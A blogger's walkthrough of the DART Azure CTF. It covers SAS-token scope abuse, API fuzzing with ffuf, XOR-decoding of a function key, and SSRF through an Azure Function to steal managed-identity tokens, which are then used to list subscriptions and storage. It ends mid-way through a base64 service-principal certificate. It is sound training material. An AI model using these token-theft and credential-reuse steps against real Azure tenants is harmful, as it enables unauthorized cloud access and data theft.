DART CTF

A couple month ago I stumbled upon a challenge that was presented by Altered Security Unfortunately I lost all my previous documentation on how I did it and wasn't able to recover it. So let's do it again and dive into the world of Azure pentesting ;)

How Can You Start?

Fairly simple, just visit dartctf.enterprisesecurity.io and login using your googlemail address. Besides that, you may need a couple of additional tools.

Tools

NAMEDESCRIPTIONLINK

fuff

Webfuzzer

SecLists

Wordlist

Azure Storage Explorer

Manage Azure Storage Accounts

Azure Cli

Azure Command Line Interface

NAMEDESCRIPTIONLINK

Azure REST API reference

Reference to the Azure REST Api

Azure Pentesting

Hacktricks Collection of Azure Pentesting Tipps & Tricks

Flag 1 - To The Moon

After logging in we're presented with a URL to access the CTF and start our mission The DART Mission

Enumeration: Webpage

First, let's open the webpage and our devconsole. Browsing the page as intended and checking resources that have been loaded.

We can clearly see that a variables.css file has been loaded from GitHub and an image that is hosted on a Blob within Azure.

GitHub Repo

We've seen that variables.css is being loaded from GitHub, so let's check the repo and commits.

Browsing through the commits, we can spot our long awaited first flag and a logic app endpoint! https://prod-61.eastus.logic.azure.com:443/workflows/250827f3ebc54c368f85643619f38ce3/triggers/manual/paths/invoke/test?

Flag 2 - SAS, Blobs & APIs

Since the page has been fully enumerated and there's nothing else to be found, we should dive into Azure Blob Storage

SAS Token

Maybe you think that the URL looks a bit odd. That's the case because it contains a shared access signature (SAS) token. That token can be used to delegate access to certain resources within an Azure storage account.

Azure Blob Storage: Access Granted

To connect, we can utilize an application called Azure Storage-Explorer

Instead of using the full url, we'll only use a part of it to check if the token is wrongly scoped and we're able to access the whole container

https://tsarray.blob.core.windows.net/azure-webjobs-secrets/DART.jpg?sv=2021-12-02&ss=b&srt=sco&sp=rl&se=2025-05-01T19:00:19Z&st=2023-05-01T11:00:19Z&spr=https,http&sig=pMFZaRK7jfzs3GnvL1%2FoFss5g6XynaEV98wCh%2Bd68Kk%3D

Sure enough, it worked!

Azure Blob Storage: Digging Deeper

So what are we seeing here?

Folder: rosarray

This folder contains some json files which consist of keys that are encrypted and are no use for us. Luckily that's not all, we're also able to recover a functions 4.0 app endpoint

rosarray.azurewebsites.net

File: OSIRIX-REx.txt

That's an interesting file. When looking at the content, we get a string of characters that could be an GUID

6de8103e-049a-4f88-9abf-41099a79ca53

But there's also another function that's maybe available to us. We can check if there's any version history available.

Taking a look at the older version reveals another SAS Token that can maybe used on rosarray.azurewebsites.net

api-version=2018-07-01-preview&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=avLLG0xOCALGGT-7zmIJsddcUiL5o2GOijT4mPSA4JY

Fuzzing - Find API Endpoints

Opening https://prod-61.eastus.logic.azure.com:443/workflows/250827f3ebc54c368f85643619f38ce3/triggers/manual/paths/invoke/test? and appending the SAS Token we've found results in an error

Warning: An error has occurred in the Azure Logic App. The app has detected a problem with one or more of its components and is unable to complete the requested task. This could be due to a misconfiguration or an issue with one of the connectors being used. To troubleshoot the issue, please review the app's configuration and make any necessary adjustments. If the issue persists, please contact technical support for assistance in resolving the issue.

It is recommended to review the app's logs to determine the source of the issue. The logs may contain more detailed information about the error and can be used to identify the specific component that is causing the problem. Additionally, please ensure that all required connectors are properly configured and authenticated.

Please note that any issues with the app may impact other services that are relying on it, so it is important to address the issue as soon as possible. Thank you for your attention to this matter.

So let's check if we can find any other API Endpoints

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/api/api-endpoints-res.txt -u "https://prod-61.eastus.logic.azure.com:443/workflows/250827f3ebc54c368f85643619f38ce3/triggers/manual/paths/invoke/FUZZ?api-version=2018-07-01-preview&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=avLLG0xOCALGGT-7zmIJsddcUiL5o2GOijT4mPSA4JY" -fw 162

Sure enough, we're lucky and identify endpoints /debug & /action

/debug

When visiting the debug endpoint, we're presented a piece of code and Flag 2! We're going to "crack" that code in our next chapter

Imp = b'Use the same carefully'
MyValue =  b'a*)h\x1f/!U9&\x1f\x1cz\x19\x038\r%/?\x15)\x10\x1d\t\x15A\\\nt&S8:L2%7\tW\x1dZ54\x14\t#U8\r?b70PX'

def enc(MyValue):
    bytevalue = bytearray()
    for i in range(len(MyValue)):
        bytevalue.append(MyValue[i] ^ Imp[i % len(Imp)])
    return bytes(bytevalue)

value = enc(MyValue.encode())
print(value)
Flag 2 : Telemetry check-in confirmed.

Flag 3 - Reversing & API

Decrypt: Reverse XOR

Remember the code found on /debug? Let's get it decrypted, easier than you might think

The encryption here is a simple XOR operation, which is a reversible operation. To decrypt the data, you would need to XOR it again with the same encryption key (Imp) to retrieve the original MyValue.

Imp = b'Use the same carefully'
MyValue =  b'a*)h\x1f/!U9&\x1f\x1cz\x19\x038\r%/?\x15)\x10\x1d\t\x15A\\\nt&S8:L2%7\tW\x1dZ54\x14\t#U8\r?b70PX'

def enc(MyValue):
    bytevalue = bytearray()
    for i in range(len(MyValue)):
        bytevalue.append(MyValue[i] ^ Imp[i % len(Imp)])
    return bytes(bytevalue)

value = enc(MyValue)
print(value.decode())

Decrypting it results in an Azure Function key 4YLHkGDuJGryZzbJhCZSyPEnl554oTU2U_lQDEl1h6YMAzFuLeZBDQ==

Accessing: Function App Endpoints

We discovered a list of function app endpoints when we started our journey. Let's try to use the key we've just found and check if we're able to access any endpoints.

By the way: Another piece to the puzzle was found on /action. This tells us how to use the code.

def retrieve(code):
    if code:
        response = requests.get(f'https://rosarray.azurewebsites.net/api/Canister?code={code}')

/api/Blanket

Blanket seems to be our target this time. Opening the page will display a cool message and Flag 3!

https://rosarray.azurewebsites.net/api/Blanket?code=4YLHkGDuJGryZzbJhCZSyPEnl554oTU2U_lQDEl1h6YMAzFuLeZBDQ==
Warning: Incorrect action request received. The requested action is not recognized or not currently possible. Please verify the request and try again. If the issue persists, please contact mission control for further guidance.
            Flag 3 : Anomaly detected in spacecraft trajectory.

Flag 4 - More API Endpoints

Next up is Flag 4 which can be retrieved by visiting the /action endpoint we discovered earlier

/action

Action Endpoint contains a code that will be used to dive deeper into another flag and traverse further into Azure

import requests

def retrieve(code):
    if code:
        response = requests.get(f'https://rosarray.azurewebsites.net/api/Canister?code={code}')

        if response.status_code == 200:
            results = response.json()
            return results
        else:
            return {
                "error": {
                    "message": "Oops! Something went wrong. Please try again later.",
                    "code": "500"
                }
            }
    else:
        return {
            "error": {
                "message": "Please provide a appropriate value to access the endpoint.",
                "code": "400"
            }
        }


code = "7CIzVAz1-SRtgbuwRG-PMTnL_BYbDhGaXrU-S-ZTEpDGAzFuCDmwrA=="
results = retrieve(code)
if "error" in results:
    print(f"Error: {results['error']['message']} ({results['error']['code']})")
else:
    print(f"Found {len(results)} results for '{code}':")
    for result in results:
        print(result)
Flag 4 : Adjust spacecraft altitude by 5 degrees.
Opening following URL will reveal some json to us

Flag 5 - Following the Endpoints

Flag 5 is also pretty easy, we just have to follow the path

/api/Canister

We're able to construct the next url using code we've found on /action endpoint Opening the following URL will result in some json data that reveals Flag 5 and another function key including url

https://rosarray.azurewebsites.net/api/Canister?code=7CIzVAz1-SRtgbuwRG-PMTnL_BYbDhGaXrU-S-ZTEpDGAzFuCDmwrA==
  
            {
    "keys": {
        "self": "li1u2C-xrQ_xvUA5d18DUKcniUSAAd4NY_tS3KmsnTYGAzFuoYq5vw=="
    },
    "id": "2000433",
    "neo_reference_id": "2000433",
    "name": "433 Eros (A898 PA)",
    "name_limited": "Eros",
    "designation": "433",
    "nasa_jpl_url": "https://rosarray.azurewebsites.net/api/Deployer",
    "absolute_magnitude_h": 10.4,
    "estimated_diameter": {
        "kilometers": {
            "estimated_diameter_min": 22.1082810359,
            "estimated_diameter_max": 49.435619262
        },
        "meters": {
            "estimated_diameter_min": 22108.281035909,
            "estimated_diameter_max": 49435.619261962
        },
        "miles": {
            "estimated_diameter_min": 13.7374446956,
            "estimated_diameter_max": 30.7178601764
        },
        "feet": {
            "estimated_diameter_min": 72533.7327538517,
            "estimated_diameter_max": 162190.3570994153
        }
    },
    "is_potentially_hazardous_asteroid": false,
    "close_approach_data": [
        {
            "close_approach_date": "1900-12-27",
            "close_approach_date_full": "1900-Dec-27 01:30",
            "epoch_date_close_approach": -2177879400000,
            "relative_velocity": {
                "kilometers_per_second": "5.5786203614",
                "kilometers_per_hour": "20083.0333009607",
                "miles_per_hour": "12478.8158863664"
            },
            "miss_distance": {
                "astronomical": "0.3149291092",
                "lunar": "122.5074234788",
                "kilometers": "47112723.937317404",
                "miles": "29274489.1785480152"
            },
            "orbiting_body": "Earth"
        }
    ],
    "orbital_data": {
        "orbit_id": "658",
        "orbit_determination_date": "2020-09-06 18:22:27",
        "first_observation_date": "1893-10-29",
        "last_observation_date": "2020-09-03",
        "data_arc_in_days": 46330,
        "observations_used": 8767,
        "orbit_uncertainty": "0",
        "minimum_orbit_intersection": ".148623",
        "jupiter_tisserand_invariant": "4.582",
        "epoch_osculation": "2459000.5",
        "eccentricity": ".2229512647434284",
        "semi_major_axis": "1.458045729081037",
        "inclination": "10.83054121829922",
        "ascending_node_longitude": "304.2993259000444",
        "orbital_period": "643.0654021001488",
        "perihelion_distance": "1.132972589728666",
        "perihelion_argument": "178.8822959227224",
        "aphelion_distance": "1.783118868433408",
        "perihelion_time": "2459159.351922368362",
        "mean_anomaly": "271.0717325705167",
        "mean_motion": ".5598186418120109",
        "equinox": "J2000",
        "orbit_class": {
            "orbit_class_type": "AMO",
            "orbit_class_description": "Near-Earth asteroid orbits similar to that of 1221 Amor",
            "orbit_class_range": "1.017 AU < q (perihelion) < 1.3 AU"
        },
        "is_sentry_object": false
        "Flag 5" : "Spacecraft velocity 23,760 km/h."
    }
}

Flag 6 - Still APIs?!

/api/Deployer

Opening the url will result in an error, but we still got Flag 6 ;)

https://rosarray.azurewebsites.net/api/Deployer?code=li1u2C-xrQ_xvUA5d18DUKcniUSAAd4NY_tS3KmsnTYGAzFuoYq5vw==
Error: Missing required query string parameter. Please check your request and try again.

To retrieve the requested resource, you must include the following query string parameter:
  - Endpoint 

Possible reasons for this error include:
  - You forgot to include the query string parameter in your request.
  - You misspelled the query string parameter name.
  - You provided an invalid value for the query string parameter.

Please make sure that you include the correct query string parameter in your request and try again.
Flag 6 : Course correction burn deployed.

Flag 7 - SSRF

Maybe we're getting into Azure itself. Let's see how we can proceed ;)

/api/Deployer

When calling our /api/Deployer endpoint, we're getting a message that we're missing a required query string parameter

Adding the query parameter will result in an interesting error

curl -s -X POST 'https://rosarray.azurewebsites.net/api/Deployer?code=li1u2C-xrQ_xvUA5d18DUKcniUSAAd4NY_tS3KmsnTYGAzFuoYq5vw==&Endpoint=x' | jq '.'

That sounds like the function is relaying our request to an Endpoin we define JACKPOT ;) Smells like SSRF, which means we're able to contact the internal Metadata Endpoint!

curl -S -X POST 'https://rosarray.azurewebsites.net/api/Deployer?code=li1u2C-xrQ_xvUA5d18DUKcniUSAAd4NY_tS3KmsnTYGAzFuoYq5vw==&Endpoint=https://management.azure.com' | jq '.'

Azure: Enumeration

Since we're now equipped with an access_token, it's time to start enumeration on azure!

A reference that might come in handy Azure REST API reference documentation | Microsoft Learn

To make this easier just dump the access_token in a variable

bearer_token=$(curl -s -X POST 'https://rosarray.azurewebsites.net/api/Deployer?code=li1u2C-xrQ_xvUA5d18DUKcniUSAAd4NY_tS3KmsnTYGAzFuoYq5vw==&Endpoint=https://management.azure.com' | jq -r '.access_token')

Subscription

Getting details about the subscription

Subscriptions - List - REST API (Azure Subscription | Microsoft Learn)

curl -H "Authorization: Bearer ${bearer_token}" -s -X GET "https://management.azure.com/subscriptions?api-version=2016-06-01" | jq .
{
  "value": [
    {
      "id": "/subscriptions/7b9bd916-8bd2-4446-9678-8531ef663edb",
      "authorizationSource": "RoleBased",
      "subscriptionId": "7b9bd916-8bd2-4446-9678-8531ef663edb",
      "displayName": "dartsub",
      "state": "Enabled",
      "subscriptionPolicies": {
        "locationPlacementId": "Public_2014-09-01",
        "quotaId": "PayAsYouGo_2014-09-01",
        "spendingLimit": "Off"
      }
    }
  ]
}

Resources in Subscription

Getting all resources in current subscription

Resources - List - REST API (Azure Resource Management) | Microsoft Learn

curl -H "Authorization: Bearer ${bearer_token}" -s -X GET "https://management.azure.com/subscriptions/7b9bd916-8bd2-4446-9678-8531ef663edb/resources?api-version=2021-04-01" | jq .
{
  "value": [
    {
      "id": "/subscriptions/7b9bd916-8bd2-4446-9678-8531ef663edb/resourceGroups/DARTMission/providers/Microsoft.Storage/storageAccounts/coresat",
      "name": "coresat",
      "type": "Microsoft.Storage/storageAccounts",
      "sku": {
        "name": "Standard_LRS",
        "tier": "Standard"
      },
      "kind": "StorageV2",
      "location": "eastus",
      "tags": {}
    }
  ]
}

Looks like we have access to a storage account named coresat. Using our credentials, we're not able to move forward as they are for management.

Enumerate: Storage Account

First, we need to obtain a new token to access the storage account

bearer_token=$(curl -s -X POST 'https://rosarray.azurewebsites.net/api/Deployer?code=li1u2C-xrQ_xvUA5d18DUKcniUSAAd4NY_tS3KmsnTYGAzFuoYq5vw==&Endpoint=https://storage.azure.com' | jq -r '.access_token')

Next, we can List Containers in our target storage account List Containers (REST API) - Azure Storage | Microsoft Learn

curl -H "x-ms-version: 2017-11-09" -H "Authorization: Bearer ${bearer_token}" -s -X GET "https://coresat.blob.core.windows.net/?comp=list"
<?xml version="1.0" encoding="utf-8"?>
<EnumerationResults ServiceEndpoint="https://coresat.blob.core.windows.net/">
	<Containers>
		<Container>
			<Name>datahandling</Name>
			<Properties>
				<Last-Modified>Wed, 15 Mar 2023 14:38:57 GMT</Last-Modified>
				<Etag>"0x8DB256302872266"</Etag>
				<LeaseStatus>unlocked</LeaseStatus>
				<LeaseState>available</LeaseState>
				<HasImmutabilityPolicy>false</HasImmutabilityPolicy>
				<HasLegalHold>false</HasLegalHold>
			</Properties>
		</Container>
	</Containers>
	<NextMarker />
</EnumerationResults>

Okay... Our container is called datahandling. Let's see what is inside List Blobs (REST API) - Azure Storage | Microsoft Learn

curl -H "x-ms-version: 2017-11-09" -H "Authorization: Bearer ${bearer_token}" -s -X GET "https://coresat.blob.core.windows.net/datahandling?restype=container&comp=list"
<?xml version="1.0" encoding="utf-8"?>
<EnumerationResults ServiceEndpoint="https://coresat.blob.core.windows.net/" ContainerName="datahandling">
	<Blobs>
		<Blob>
			<Name>Flag7.txt</Name>
			<Properties>
				<Creation-Time>Fri, 17 Mar 2023 09:51:14 GMT</Creation-Time>
				<Last-Modified>Fri, 17 Mar 2023 09:51:14 GMT</Last-Modified>
				<Etag>0x8DB26CD25E0F3A3</Etag>
				<Content-Length>47</Content-Length>
				<Content-Type>text/plain</Content-Type>
				<Content-Encoding />
				<Content-Language />
				<Content-MD5>d1UOmf3KFXonNzNJvZB+5Q==</Content-MD5>
				<Cache-Control />
				<Content-Disposition />
				<BlobType>BlockBlob</BlobType>
				<AccessTier>Hot</AccessTier>
				<AccessTierInferred>true</AccessTierInferred>
				<LeaseStatus>unlocked</LeaseStatus>
				<LeaseState>available</LeaseState>
				<ServerEncrypted>true</ServerEncrypted>
			</Properties>
		</Blob>
		<Blob>
			<Name>LORRI-Cert.txt</Name>
			<Properties>
				<Creation-Time>Wed, 15 Mar 2023 14:39:51 GMT</Creation-Time>
				<Last-Modified>Wed, 15 Mar 2023 14:39:51 GMT</Last-Modified>
				<Etag>0x8DB256322B11B97</Etag>
				<Content-Length>6998</Content-Length>
				<Content-Type>application/octet-stream</Content-Type>
				<Content-Encoding />
				<Content-Language />
				<Content-MD5>19wxEVC9dZDYVVICu9JmtQ==</Content-MD5>
				<Cache-Control />
				<Content-Disposition />
				<BlobType>BlockBlob</BlobType>
				<AccessTier>Hot</AccessTier>
				<AccessTierInferred>true</AccessTierInferred>
				<LeaseStatus>unlocked</LeaseStatus>
				<LeaseState>available</LeaseState>
				<ServerEncrypted>true</ServerEncrypted>
			</Properties>
		</Blob>
	</Blobs>
	<NextMarker />
</EnumerationResults>%

Read Files: Storage Account

So we have two blobs: LORRI-Cert. Txt and Flag 7. Txt Time to get them Get Blob (REST API) - Azure Storage | Microsoft Learn

Flag 7.txt

curl -H "x-ms-version: 2017-11-09" -H "Authorization: Bearer ${bearer_token}" -s -X GET "https://coresat.blob.core.windows.net/datahandling/Flag7.txt"

LORRI-Cert.txt

When we try to get LORRI-Cert. Txt curl complains about "binary output". To fix that I save it the content to a file.

curl -H "x-ms-version: 2017-11-09" -H "Authorization: Bearer ${bearer_token}" -X GET "https://coresat.blob.core.windows.net/datahandling/LORRI-Cert.txt" --output ./LORRI-Cert.txt
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

Flag 8 - Service Principal

I was guessing that LORRI-Cert. Txt was our next step to get to Flag 8. Decoding the base 64 reveals that it is some kind of certificate.

Using google, I found a way to login as a service principal using az-cli on linux that was using a certificate. That's where the string that we've found in xyz comes in play.

Get Tenant Details

We need the Tenant ID to craft our login command

# Get access_token
bearer_token=$(curl -s -X POST 'https://rosarray.azurewebsites.net/api/Deployer?code=li1u2C-xrQ_xvUA5d18DUKcniUSAAd4NY_tS3KmsnTYGAzFuoYq5vw==&Endpoint=https://management.azure.com' | jq -r '.access_token')

# Get Tenant ID
curl -H "Authorization: Bearer ${bearer_token}" -s -X GET "https://management.azure.com/tenants?api-version=2016-06-01" | jq .
{
  "value": [
    {
      "id": "/tenants/5f487283-b88e-4ade-8035-7bcaac4156b3",
      "tenantId": "5f487283-b88e-4ade-8035-7bcaac4156b3"
    }
  ]
}

Converting Cert

First, we have to decode the base 64 to get a PFX File.

# Decode base64 to get a PKCS#12 archive
echo -n "MIIKOAIBAzCCCfQGCSqGSIb3DQEHAaCCCeUEggnhMIIJ3TCCBhYGCSqGSIb3DQEHAaCCBgcEggYDMIIF/zCCBfsGCyqGSIb3DQEMCgECoIIE/jCCBPowHAYKKoZIhvcNAQwBAzAOBAjFefw+jkvQRwICB9AEggTYpOiHRHvnr63gNCL8qfip2MeJDupL603hNrM2azmf7bxCVW/hedDK9qW92LyR3ORfe3JDez83UmKDaEE7q/LP0DVWvyof5GHwd/jkX9dQjGL2pi98bjqpg8LwhhG/G6FNwgU6cN53GKeZwhGtpswLyBBlEXbIGvvfyaevqU16HNtpiCfanF5rrZZG1ULTLI0GKnbmZwj1ONRVQdxJ7B+yM5EnRCihfbL+g4C30A8n98KMZx4d99vh9By0QxBUn4IEifJzSxBm53vR+X69Yev5TeyhVN/odr6zkD3cTUHpuOQntei7lLBBkjpIKvPR3sm5cU8j5OosZ3J8T3Z2gghPcLzSrhBwBWuCnJ22BjXfeFsVzqrFxocNKlIflluLSNplufOsYUQutG0erQIfH3zn6kVFDdPbY3bZwwRH5fSDBiUZ/2lnom4xRGJfApwLD/TTFbPP5+uGxs/VBtL64U/saGs675Q5/nFagpw8W+MbU9y+sAF0dVGM7FFZPFBIXyvlE+jk9CDuUTdTuxRzDTO23R85QaIKRFglBc6CaWKX3e5DYFRI0IGrXnGT2zdicCtngNAgPdtMEnhIrzZTrq6Nm3K+Z3WrkUfgOCbpjuT4R3w/7yEfsD/nIxNQhKE4OO029tlOi1uNQrHFOfSmiEhhgvM8rwvO3Qm7i0q43dkX/PlluWov45drIqTeCKS9pZj+CrXHHi8KDvJETc71YJkNs6tRoU6l//vz5LPPe17rENok4b+Bp4jYxE6LpS8J1DYYOBXg9v0/yE7TXWBt0/fASFrdfYDrVEoQHKUollhhpTtCislcsvCup5LufUmIQh2hS4Av+MNSc+fsXpjo34FcfRkzgwO+t1dGhdvo3Dph97HBy6SanY5UGaco/2wcxxj7VNSym5D0BTvUFeJLds7y5A22hgwM/IrJwrviKvtAAYOmNoeeeUn7O2ldf0xZE1TJ8KisRDj+ZNQhJABS+m5djniVSs4A7bmsTTqqEMAmBnO7iefb12n3FoUepRQs5CgIGyMzfqYLyMctQawVmGtiTM6VHloXTHAZwUMB21NWedigAB7Ff8H6GNcXuUK3tS0UDRmO4SAFLXWVPeVC795pcLmH+ofHg+YLpeI7sOxqgoMx5s7w7lAImCILUmEqaK2xYLc4cXq1FS8yC/nZzb7i8PhYsrb0zXaRk7+2cigLqeOQDGDleX0Je8OC1M9rEhUISnncPw7C0/h6geP9P4LSKOdq4fp62VU/UuRHWnD5GbmR3//T6O2OFq6wpPc8I3h6hUv/NeDnjec183NmUdsvJDk0RAmV5yikLH0JeqCnpkBcWoaArBa9W9SHLsfXpNomeTWwMHg8jCnz8RPBu8BVCfIF8WWGLj5UU7nX4cgquUTYdtOEQQ2ILDmZ+ms8syMZOrh++8GKPR5Ip6TYfE8QWUOzs4+mhOeNpvDxMRTmrUjKCz8LfkWpgQilnKCEhvCwgU1R5gJ9Dm7wPaRv/SjUGf2my/HnEZCbNF7Pi78mQLSJAgk8L85cGtwWGs/6e0cS1pkwljAoCRCQ8eJ70MppjcBLgMHj33fZaTdzncSeMasa7dqEbEvWloLHRE6cW9BzWzn026j10wygg6L4VwPcKK6J/AQSGtgg8QDi7PlTD9399i6cPCHKeTGB6TATBgkqhkiG9w0BCRUxBgQEAQAAADBXBgkqhkiG9w0BCRQxSh5IADAAMwAwAGMAMwAzADkANQAtADYAMwBmAGMALQA0ADEAOQAyAC0AOQAzADQAZgAtADkANgBiADIANgAzAGUANAA0ADkAMABiMHkGCSsGAQQBgjcRATFsHmoATQBpAGMAcgBvAHMAbwBmAHQAIABFAG4AaABhAG4AYwBlAGQAIABSAFMAQQAgAGEAbgBkACAAQQBFAFMAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByMIIDvwYJKoZIhvcNAQcGoIIDsDCCA6wCAQAwggOlBgkqhkiG9w0BBwEwHAYKKoZIhvcNAQwBAzAOBAidGGT8jA+HMAICB9CAggN4bda0juufrIv7sNOmfzL98x6dHQjVcamogI/62CGRSQR7rQZmarnTe6u3iXY0tvSVkM3gkdUgYGubbyO850j8hO0YBSdQHp7y5OFKM4X7R2/BOlwxjN+iNu1Z8QhZzmViQmnU9rtbLNx318oAUs87VLKBO7Eez/kES9ghnhE8W+9zYdL1uIdrPLyYuL97E+uuNiKjny9eKRQr2LpJSY6j2a4BvEu2kr8KRdS1apj6Mn00IB3cDJ52zrZ36BoOmQBOhQOQ4zxF9UmMuseXPohDrh43uEFO+Fw46NZgObgZ+YWc44qNnZUF/0sQ1BUzWNA+fDBTnQ3yZDjpP9m6WXXMMHSdsLuw5jDEjWkGKbU2Xn/3O7kvyXQFdqGmklX7HK8LcFw+GgHxW9hkR2VcNXJN/BetIw9h2ITnEWrVpbcXq5GYgExTJ1t+zIKRrDUH/E0dUgrrUZ9UBy4DhAZpG2GYbKIznNUBggNS41z9jFYOhcRFlc2GmxC4s0bcKHW4DiVsNl9r6LhY/8/pYoZC0R78tvOYZkGjy2QQFqRg1S/OXFiFBqRCZReQPpzHPcPYawAosDpDWihEb3jsH1g0qcRrIVTBv7Xvgjzwk5VgEI2CZ5s8VvEWbgQ8aoVOzbBHS9e4DSYx1vd0oDnrmyvyREsUrdY9EHELC+kbZR6X7fLTHAtDgkH4AKfeTt3Erxt3HuOUwOsSgVWeWt4KKYsm1+hoUCzy2o50E5mgwkLk7vTI+kfHolUSHPL0xZStA6nnADAxYYgvGemea05lwk4S6fhGWfKrfV6dy2Gp+qTEYAA3+yS8MBEbZQyM+7On+dQQAqoW2hTQGqmx